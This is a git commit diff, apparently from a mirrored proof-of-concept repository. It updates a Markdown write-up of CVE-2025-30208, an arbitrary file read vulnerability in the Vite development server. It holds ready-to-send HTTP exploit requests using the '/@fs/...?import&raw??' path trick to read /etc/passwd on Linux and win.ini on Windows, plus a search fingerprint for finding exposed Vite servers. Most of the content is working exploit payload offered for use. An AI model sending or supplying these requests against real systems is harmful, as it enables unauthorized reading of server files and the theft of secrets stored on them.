mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-06-20 09:51:11 +00:00
Update Vite开发服务器任意文件读取漏洞(CVE-2025-30208).md
This commit is contained in:
parent
fd59d6c480
commit
cced027236
@ -6,7 +6,7 @@
|
|||||||
body="/@vite/client"
|
body="/@vite/client"
|
||||||
```
|
```
|
||||||
|
|
||||||
## POC
|
## POC-(Linux)
|
||||||
```
|
```
|
||||||
GET /@fs/etc/passwd?import&raw?? HTTP/1.1
|
GET /@fs/etc/passwd?import&raw?? HTTP/1.1
|
||||||
Host: 127.0.0.1
|
Host: 127.0.0.1
|
||||||
@ -20,7 +20,20 @@ Priority: u=0, i
|
|||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
Content-Length: 94
|
Content-Length: 94
|
||||||
|
|
||||||
|
```
|
||||||
|
## poc-(windows)
|
||||||
|
```
|
||||||
|
GET /@fs/C://Windows/win.ini?import&raw?? HTTP/1.1
|
||||||
|
Host: 127.0.0.1
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||||
|
Accept-Encoding: gzip, deflate, br
|
||||||
|
Connection: keep-alive
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
Priority: u=0, i
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 94
|
||||||
```
|
```
|
||||||
## python脚本
|
## python脚本
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user